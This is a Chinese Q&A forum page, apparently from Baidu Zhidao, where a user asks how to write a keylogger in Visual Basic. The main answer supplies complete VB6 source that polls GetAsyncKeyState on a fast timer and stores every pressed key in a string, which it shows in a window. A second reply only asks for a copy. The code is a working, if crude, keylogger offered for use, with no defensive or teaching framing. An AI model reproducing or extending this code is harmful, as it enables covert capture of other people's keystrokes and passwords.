如何用VB编写键盘记录器?是不是很简单的一个程序。?

如何用VB编写键盘记录器?是不是很简单的一个程序。?... 如何用VB编写键盘记录器?是不是很简单的一个程序。? 展开
 我来答
ivu179
2008-11-09 · TA获得超过273个赞
知道小有建树答主
回答量:315
采纳率:0%
帮助的人:197万
展开全部
'------------Module1.bas---------
Public Const DT_CENTER = &H1
Public Const DT_WORDBREAK = &H10
Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Declare Function DrawTextEx Lib "user32" Alias "DrawTextExA" (ByVal hDC As Long, ByVal lpsz As String, ByVal n As Long, lpRect As RECT, ByVal un As Long, ByVal lpDrawTextParams As Any) As Long
Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Declare Function SetRect Lib "user32" (lpRect As RECT, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Global Cnt&, sSave$, sOld$, Ret$, Tel&

Function GetPressedKey() As String
For Cnt = 32 To 128
If GetAsyncKeyState(Cnt) <> 0 Then
GetPressedKey = Chr$(Cnt)
Exit For
End If
Next Cnt
End Function

Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
Ret = GetPressedKey
If Ret <> sOld Then
sOld = Ret
sSave = sSave + sOld
End If
End Sub
'-------------------------

'---------------form1-------------
Private Sub Form_Load()
Me.Caption = "键盘监视器"
SetTimer Me.hwnd, 0, 1, AddressOf TimerProc
timer1.Interval = 10
End Sub

Private Sub Form_Unload(Cancel As Integer)
KillTimer Me.hwnd, 0
End Sub

Private Sub Timer1_Timer()
Text1.Text = sSave
End Sub

参考资料: http://hi.baidu.com/ivu179/blog/item/52d2877b3ad963f30bd18744.html

jimmy2008ss
2008-11-09 · TA获得超过356个赞
知道答主
回答量:167
采纳率:0%
帮助的人:65.1万
展开全部
我也要一个哈
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
推荐律师服务: 若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询

为你推荐:

下载百度知道APP,抢鲜体验
使用百度知道APP,立即抢鲜体验。你的手机镜头里或许有别人想知道的答案。
扫描二维码下载
×

类别

我们会通过消息、邮箱等方式尽快将举报结果通知您。

说明

0/200

提交
取消

辅 助

模 式